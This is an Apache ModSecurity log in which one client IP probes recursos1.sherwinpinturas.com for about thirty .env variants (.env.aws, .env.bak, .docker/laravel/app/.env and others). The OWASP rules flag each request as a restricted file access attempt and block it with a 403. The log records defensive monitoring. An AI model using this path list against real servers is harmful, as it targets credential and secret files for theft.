[Tue Oct 27 04:18:09.323726 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBeQfBpQA4DT21g-rgTTwAAAAY"]
[Tue Oct 27 04:18:09.391563 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auBeQTs6QI_2LyqMu-svTAAAABA"]
[Tue Oct 27 04:18:09.391722 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auBeQTs6QI_2LyqMu-svTAAAABA"]
[Tue Oct 27 04:18:09.392001 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env-example"] [unique_id "auBeQTs6QI_2LyqMu-svTAAAABA"]
[Tue Oct 27 04:18:09.395144 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auBeQRsMrQZ-lBI87Ul17wAAAAU"]
[Tue Oct 27 04:18:09.395275 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auBeQRsMrQZ-lBI87Ul17wAAAAU"]
[Tue Oct 27 04:18:09.395518 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "auBeQRsMrQZ-lBI87Ul17wAAAAU"]
[Tue Oct 27 04:18:09.396236 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auBeQc-M-kXjH-VclWYJVQAAABg"]
[Tue Oct 27 04:18:09.396402 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auBeQc-M-kXjH-VclWYJVQAAABg"]
[Tue Oct 27 04:18:09.396653 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.anthropic"] [unique_id "auBeQc-M-kXjH-VclWYJVQAAABg"]
[Tue Oct 27 04:18:09.396768 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auBeQUQFomyjz0g-y4eN7AAAAAo"]
[Tue Oct 27 04:18:09.396919 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auBeQUQFomyjz0g-y4eN7AAAAAo"]
[Tue Oct 27 04:18:09.397150 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.aws"] [unique_id "auBeQUQFomyjz0g-y4eN7AAAAAo"]
[Tue Oct 27 04:18:09.398388 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auBeQdOTO42xOmZCRV02ogAAAAE"]
[Tue Oct 27 04:18:09.398527 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auBeQdOTO42xOmZCRV02ogAAAAE"]
[Tue Oct 27 04:18:09.398573 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auBeQfBpQA4DT21g-rgTUAAAAAY"]
[Tue Oct 27 04:18:09.398699 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auBeQfBpQA4DT21g-rgTUAAAAAY"]
[Tue Oct 27 04:18:09.398740 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auBeQdOTO42xOmZCRV02ogAAAAE"]
[Tue Oct 27 04:18:09.398909 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auBeQfBpQA4DT21g-rgTUAAAAAY"]
[Tue Oct 27 04:18:09.399656 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auBeQTACgwKulg8gg2NrowAAAAg"]
[Tue Oct 27 04:18:09.399796 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auBeQTACgwKulg8gg2NrowAAAAg"]
[Tue Oct 27 04:18:09.400032 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auBeQTACgwKulg8gg2NrowAAAAg"]
[Tue Oct 27 04:18:09.466300 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auBeQSoaxgN9H0AE4f1vIwAAAAM"]
[Tue Oct 27 04:18:09.466529 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auBeQSoaxgN9H0AE4f1vIwAAAAM"]
[Tue Oct 27 04:18:09.466876 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auBeQSoaxgN9H0AE4f1vIwAAAAM"]
[Tue Oct 27 04:18:09.467823 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auBeQTs6QI_2LyqMu-svTQAAABA"]
[Tue Oct 27 04:18:09.467950 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auBeQTs6QI_2LyqMu-svTQAAABA"]
[Tue Oct 27 04:18:09.468228 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auBeQTs6QI_2LyqMu-svTQAAABA"]
[Tue Oct 27 04:18:09.468972 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auBeQXCsn1NVv0VfikkGawAAAAQ"]
[Tue Oct 27 04:18:09.469368 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auBeQXCsn1NVv0VfikkGawAAAAQ"]
[Tue Oct 27 04:18:09.469715 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auBeQXCsn1NVv0VfikkGawAAAAQ"]
[Tue Oct 27 04:18:09.470445 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auBeQRsMrQZ-lBI87Ul18AAAAAU"]
[Tue Oct 27 04:18:09.470586 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auBeQRsMrQZ-lBI87Ul18AAAAAU"]
[Tue Oct 27 04:18:09.470793 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auBeQRsMrQZ-lBI87Ul18AAAAAU"]
[Tue Oct 27 04:18:09.472198 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auBeQc-M-kXjH-VclWYJVgAAABg"]
[Tue Oct 27 04:18:09.472267 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auBeQUQFomyjz0g-y4eN7QAAAAo"]
[Tue Oct 27 04:18:09.472362 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auBeQc-M-kXjH-VclWYJVgAAABg"]
[Tue Oct 27 04:18:09.472397 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auBeQUQFomyjz0g-y4eN7QAAAAo"]
[Tue Oct 27 04:18:09.472580 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auBeQc-M-kXjH-VclWYJVgAAABg"]
